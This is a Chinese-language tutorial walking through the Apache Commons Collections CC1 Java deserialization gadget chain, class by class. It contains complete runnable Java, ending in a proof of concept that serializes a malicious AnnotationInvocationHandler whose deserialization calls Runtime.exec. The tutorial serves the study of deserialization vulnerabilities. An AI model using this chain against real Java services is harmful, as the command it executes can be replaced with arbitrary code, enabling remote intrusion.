Java Commons Collections的利用链也被称为cc链，是在学习反序列化漏洞必不可少的一个部分。希望能由简到繁来一起了解学习下它的利用。
TransformerTransformer是一个接口类，提供了一个对象转换方法transform：
public interface Transformer {
public Object transform(Object input);
}
该接口的重要实现类有：ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 。
ConstantTransformer该类的关键代码如下：
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
可以看出传入对象不会经过任何改变直接返回。
eg：
package cc1;
import org.apache.commons.collections.functors.ConstantTransformer;
public class ConstantTranTest {
public static void main(String[] args) {
Object obj = Runtime.class;
ConstantTransformer transformer = new ConstantTransformer(obj);
System.out.println(transformer.transform(null));
}
}
//结果为class java.lang.Runtime
InvokerTransformer
InvokerTransformer类transform方法实现了类方法动态调用，即采用反射机制动态调用类方法（反射方法名、参数值均可控）并返回该方法执行结果。
该类的关键代码如下：
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
// 省去多余的方法和变量
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 获取输入类的类对象
Class cls = input.getClass();
// 通过输入的方法名和方法参数，获取指定的反射方法对象
Method method = cls.getMethod(iMethodName, iParamTypes);
// 反射调用指定的方法并返回方法调用结果
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 省去异常处理部分代码
}
}
}
eg：
package cc1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokeTranTest {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc.exe";
// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
// 传入Runtime实例，执行对象转换操作
transformer.transform(Runtime.getRuntime());
}
}
ChainedTransformer
真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的，因此我们需要学习如何通过ChainedTransformer来创建攻击链。其封装了Transformer的链式调用，我们只需要传入一个Transformer数组，ChainedTransformer就会依次调用每一个Transformer的transform方法。
该类的关键代码如下：
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
// 省去多余的方法和变量
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}//输入的对象将被传递到第一个转化器，转换结果将会输入到第二个转化器，并以此类推,对于理解下面的例子还是十分有帮助的
return object;
}
}
eg：
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainTranTest {
public static void main(String[] args) throws Exception {
// 定义需要执行的本地系统命令
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//得到Runtime.class并传入下个
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
//得到getRuntime并传入下个
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
//得到runtime
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
}; //命令执行
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执行对象转换操作
Object transform = transformedChain.transform(null);
System.out.println(transform);
}
}
以下为上述过程的debug流程图：
最终这里执行
TransformedMap我们还需要思考剩下两个问题：
- 如何传入恶意的ChainedTransformer；
- 如何调用transform方法执行本地命令；
org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口，同时支持对Map的key或者value进行Transformer转换，调用decorate和decorateTransform方法就可以创建一个TransformedMap:
关键代码如下：
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
Transformer实现类分别绑定到map的key和value上，当map的key或value被修改时，会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer绑定到一个TransformedMap上，当此map的key或value发生改变时（调用TransformedMap的setValue/put/putAll中的任意方法），就会自动触发chainedtransformer。
eg：
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Maptest {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("key", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// transformedMap.put("v1", "v2");// 执行put也会触发transform
// 遍历Map元素，并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
System.out.println(transformedMap);
}
}//即可成功弹计算器
AnnotationInvocationHandler反序列化RCE条件：
- 实现了java.io.Serializable接口；
- 并且可以传入我们构建的TransformedMap对象；
- 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类；
sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口，是用来处理注解的一个类。它还重写了readObject方法，在readObject方法中间接的调用了TransformedMap中MapEntry的setValue方法，从而也就触发了transform方法，完成了整个攻击链的调用。
readObject方法:
上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量，memberValues的值是在var1.defaultReadObject();时反序列化生成的，它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。
eg:
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class annotest {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例，等价于：
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组：" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
//注意低版本jdk才能实现调用
